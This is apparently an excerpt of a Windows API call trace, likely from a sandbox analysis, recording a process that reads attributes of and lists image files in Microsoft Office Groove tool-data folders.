	[0052.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e238 | out: lpFileInformation=0x1274e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424)) returned 1
	[0052.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274e288 | out: lpFileInformation=0x1274e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38)) returned 1
	[0052.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e2d8 | out: lpFileInformation=0x1274e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2)) returned 1
	[0052.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e328 | out: lpFileInformation=0x1274e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49)) returned 1
	[0052.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274e378 | out: lpFileInformation=0x1274e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778)) returned 1
	[0052.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), fInfoLevelId=0x0, lpFileInformation=0x1274e3c8 | out: lpFileInformation=0x1274e3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="AL1E3B~1.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="ALERTI~1.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="ALERTI~1.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="ALERTI~4.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="AL1F1D~1.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="ALERTI~2.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="ALERTI~2.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="AL97F4~1.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="ALFE83~1.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="AL5980~1.JPG")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="ALERTI~3.BMP")) returned 1
	[0052.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="ALF33C~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="ALERTI~4.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e983f00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="AL0F2A~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258f8e00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x258f8e00, ftLastWriteTime.dwHighDateTime=0x1c95fc9, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="ALA9A1~1.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbb75100, ftCreationTime.dwHighDateTime=0x1c9bcb4, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbb75100, ftLastWriteTime.dwHighDateTime=0x1c9bcb4, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="COMMSI~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d183d00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d183d00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="COMMSI~2.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="COMMSI~1.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="COMMSI~2.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c468e00, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c468e00, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="COMMSO~2.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf59600, ftCreationTime.dwHighDateTime=0x1c9bcb5, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bf59600, ftLastWriteTime.dwHighDateTime=0x1c9bcb5, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="COMMSO~1.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="COMMSO~2.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee1e000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ee1e000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="COMMSO~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="UNREAD~1.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98fc100, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98fc100, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImages.jpg", cAlternateFileName="UNREAD~2.JPG")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="UNREAD~1.BMP")) returned 1
	[0052.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.568] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274ed28 | out: lpFileInformation=0x1274ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9)) returned 1
	[0052.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274ed78 | out: lpFileInformation=0x1274ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e)) returned 1
	[0052.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274edc8 | out: lpFileInformation=0x1274edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356)) returned 1
	[0052.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274ee18 | out: lpFileInformation=0x1274ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70)) returned 1
